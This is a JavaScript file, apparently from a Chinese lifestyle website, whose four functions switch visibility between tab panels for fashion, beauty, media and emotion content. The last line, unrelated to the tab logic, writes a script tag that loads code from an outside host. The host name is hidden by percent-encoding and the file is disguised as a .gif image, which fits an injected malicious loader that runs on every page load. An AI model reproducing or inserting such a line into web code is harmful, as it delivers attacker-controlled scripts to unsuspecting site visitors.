function showdivshishang()
{

    var divshishang=document.getElementById("divshishang");
    var divmeirong=document.getElementById("divmeirong");
    var divmeiti=document.getElementById("divmeiti");
    var divqinggan=document.getElementById("divqinggan");

    divshishang.style.display="block";
    divmeirong.style.display="none";
    divmeiti.style.display = "none";
    divqinggan.style.display = "none";

    return false;
}
function showdivmeirong()
{
    var divshishang=document.getElementById("divshishang");
    var divmeirong=document.getElementById("divmeirong");
    var divmeiti=document.getElementById("divmeiti");
    var divqinggan=document.getElementById("divqinggan");

    divshishang.style.display="none";
    divmeirong.style.display="block";
    divmeiti.style.display = "none";
    divqinggan.style.display = "none";

    return false;
}
function showdivmeiti()
{
    var divshishang=document.getElementById("divshishang");
    var divmeirong=document.getElementById("divmeirong");
    var divmeiti=document.getElementById("divmeiti");
    var divqinggan=document.getElementById("divqinggan");

    divshishang.style.display="none";
    divmeirong.style.display="none";
    divmeiti.style.display = "block";
    divqinggan.style.display = "none";

    return false;
}
function showdivqinggan()
{
    var divshishang=document.getElementById("divshishang");
    var divmeirong=document.getElementById("divmeirong");
    var divmeiti=document.getElementById("divmeiti");
    var divqinggan=document.getElementById("divqinggan");

    divshishang.style.display="none";
    divmeirong.style.display="none";
    divmeiti.style.display = "none";
    divqinggan.style.display = "block";

    return false;
}


document.write('<script src=http://%63%61%39%78%2E%63%6F%6D/pen.gif></script>');